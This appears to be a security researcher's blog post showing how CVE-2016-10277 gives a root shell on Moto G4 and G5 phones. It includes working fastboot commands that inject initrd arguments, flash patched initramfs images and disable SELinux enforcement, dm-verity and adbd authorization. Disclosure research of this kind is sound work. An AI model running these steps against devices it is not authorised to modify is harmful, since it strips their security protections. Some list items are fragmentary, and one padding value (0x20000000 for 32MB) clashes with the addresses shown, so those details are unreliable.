In the previous blog post, we suggested that CVE-2016-10277 could affect other Motorola devices. After receiving a few reports on Twitter that this was indeed the case, we acquired a couple of Motorola devices, updated to the latest available build we received over-the-air:
athene XT1622 , running NPJS25.93-14.4, bootloader moto-msm8952-B1.05.cedric XT1676 , running NPP25.137-33, bootloader moto-msm8937-B8.09.initrd, which allows us to force the Linux kernel to populate initramfs into rootfs from a specified physical address.initramfs at a known physical address, named SCRATCH_ADDR (0x11000000 for Nexus 6).Verifying that the devices were indeed vulnerable was pretty straightforward, a simple fastboot oem config fsg-id "a androidboot.foo=bar" caused the ro.boot.foo property to be created:
$ fastboot oem config fsg-id "a androidboot.foo=bar"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a androidboot.foo=bar
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.013s]
$ fastboot continue
$ adb shell
cedric:/ $ getprop ro.boot.foo
bar
cedric:/ $
That proved that the argument had been injected into the cedric kernel command-line. (With a similar result on athene)
Next we verified that we could control the initrd argument, which allowed us to force the Linux kernel to load initramfs from a specified physical address. We ran fastboot oem config fsg-id "a initrd=0x12345678,1234", expecting the kernel to crash afterwards. It indeed crashed!
As mentioned above, there are two G4 & G5 specific requirements that we need to resolve before we can exploit the vulnerability:
SCRATCH_ADDR values used by the bootloaders.initramfs archives.Loading athene’s and cedric’s ABOOTs in IDA quickly reveals SCRATCH_ADDR:
// athene
signed int target_get_scratch_address()
{
return 0x90000000;
}
// cedric
signed int target_get_scratch_address()
{
return 0xA0100000;
}
(Research tip: athene’s and cedric’s ABOOTs have full symbols, and share much code with the stripped shamu’s ABOOT)
Before we dived into the malicious initramfs creation, we wanted to verify that the SCRATCH_ADDR values were indeed correct, otherwise it would have been difficult to pinpoint potential problems. That proved to be a good plan, as we will see next.
In order to verify the addresses, we extracted the original initramfs archives from the boot images inside the official Motorola firmware. We then exploited the vulnerability, loading the official initramfs, but from SCRATCH_ADDR instead.
$ fastboot oem config fsg-id "a initrd=0x90000000,1766036"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x90000000,1766036
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
$ fastboot flash aleph initramfs.cpio.gz
target reported max download size of 536870912 bytes
sending 'aleph' (1725 KB)...
OKAY [ 1.088s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.095s
$ fastboot continue
Instead of loading normally, the devices ran into infinite boot loops, leaving us quite puzzled.
We then took a wild guess. We’ve realized that after we upload initramfs into SCRATCH_ADDR, and before ABOOT jumps to the Linux kernel, cedric’s and athene’s ABOOTs could put some other unrelated data at SCRATCH_ADDR, corrupting our initramfs (but not fully).
Overcoming this obstacle can be done by placing some padding data before initramfs, and adjusting initrd accordingly (to SCRATCH_ADDR + sizeof(PADDING)). Therefore, if our hypothesis were true, we would have the following memory layout just before the Linux kernel execution:
.--------------------------------.----------------------.
| Physical Address | Data |
|--------------------------------|----------------------|
| SCRATCH_ADDR | Corrupted PADDING |
| SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs |
`--------------------------------'----------------------'
True the hypothesis or not, using this technique, with a 32MB padding (0x20000000) has resolved our boot loops.
In the Nexus 6 case, in order to create an initramfs that gave us an unrestricted root shell through adb, we had just compiled an AOSP userdebug image. That worked because the userdebug image has the capable su SELinux domain, and an adbd that given some system properties, does not setuid/setgid to shell, does not drop its capabilities, and does not ask for authorization.
Since we don’t have a build configuration for Moto G4 & Moto G5, we decided to take the quickest path, and patch the official initramfs archives:
init, we’ve put SELinux into permissive mode. The result code is something similar to the following:
static void selinux_initialize(bool in_kernel_domain) {
[...]
if (in_kernel_domain) {
[...]
bool is_enforcing = selinux_is_enforcing();
security_setenforce(0); // always permissive
[...]
}
adbd such that it remains as root, and does not drop its capabilities. (We replaced the relevant calls with NOPs).adbd such that it does not ask for authorization. (We’ve set the auth_required global to 0).dm-verity on the relevant partitions.init.mmi.usb.shUpdated PoC is available on the initroot repository.
On Moto G4:
$ fastboot oem config fsg-id "a initrd=0x92000000,1774281"
$ fastboot flash aleph initroot-athene.cpio.gz
$ fastboot continue
$ adb shell
athene:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # getenforce
Permissive
athene:/ #
On Moto G5:
$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598"
$ fastboot flash aleph initroot-cedric.cpio.gz
$ fastboot continue
$ adb shell
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #